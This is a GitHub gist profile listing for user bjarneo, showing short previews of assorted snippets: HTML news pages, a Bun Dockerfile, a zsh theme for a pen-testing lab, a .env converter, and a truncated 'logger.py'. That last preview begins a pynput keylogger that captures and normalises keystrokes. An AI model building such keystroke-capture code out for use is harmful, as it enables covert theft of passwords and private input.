Skip to content

Instantly share code, notes, and snippets.

View bjarneo's full-sized avatar
🏠
Working from home

bjarneo bjarneo

🏠
Working from home
View GitHub Profile
export default function MyApp() {
const article = {
title: "This is awesome",
description: "This is too",
time: "05.10.1987",
url: "https://bjarne.oever.li"
}
return (
<div>
@bjarneo
bjarneo / .html
Created November 9, 2023 09:53
ase.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Norway Times - Article List</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f3f3f3;
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Norway Times - Article List</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f3f3f3;
@bjarneo
bjarneo / .html
Created November 8, 2023 08:13
norway times
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Norway Times - Article List</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f3f3f3;
@bjarneo
bjarneo / Dockerfile
Created September 20, 2023 15:01
Dockerfile for bun
# Let us create the build step
FROM oven/bun as builder
# Set the working directory
WORKDIR /bun-builder
# Copy package and bun lock file to the workdir
COPY package.json bun.lockb ./
# Install dependencies
@bjarneo
bjarneo / autolinks.py
Created June 22, 2023 06:40
add and remove autolinks from github with python
@bjarneo
bjarneo / htb.zsh-theme
Created August 18, 2022 08:34
HTB modified theme
# █ █ ▐▌ ▄█▄ █ ▄▄▄▄
# █▄▄█ ▀▀█ █▀▀ ▐▌▄▀ █ █▀█ █▀█ █▌▄█ ▄▀▀▄ ▀▄▀
# █ █ █▄█ █▄▄ ▐█▀▄ █ █ █ █▄▄ █▌▄█ ▀▄▄▀ █▀█
#
# P E N - T E S T I N G L A B S
# HTB ZSH theme
# This is modified from https://gist.github.com/MadLittleMods/2dc87634c6f3649852fba89b9b98e366#file-eric-zsh-theme
# Modifier: bjarneo
# Date: 08-18-22
@bjarneo
bjarneo / convert.js
Created June 22, 2022 11:18
.env to json (no blank lines)
// Node.js program to demonstrate the
// fs.readFileSync() method
// Include fs module
const fs = require("fs");
// Calling the readFileSync() method
// to read 'input.txt' file
const data = fs.readFileSync("./.env", {
encoding: "utf8",
@bjarneo
bjarneo / logger.py
Last active January 5, 2022 11:55
logger.py
from pynput.keyboard import Listener
def log_keystroke(key):
key = str(key).replace("'", "")
if key == 'Key.space':
key = ' '
if key == 'Key.shift_r':
key = ''
if key == "Key.enter":
<?php
echo file_get_contents('https://oeverli.win');
?>
<style type="text/css">
p {
color: #26b72b;
}
</style>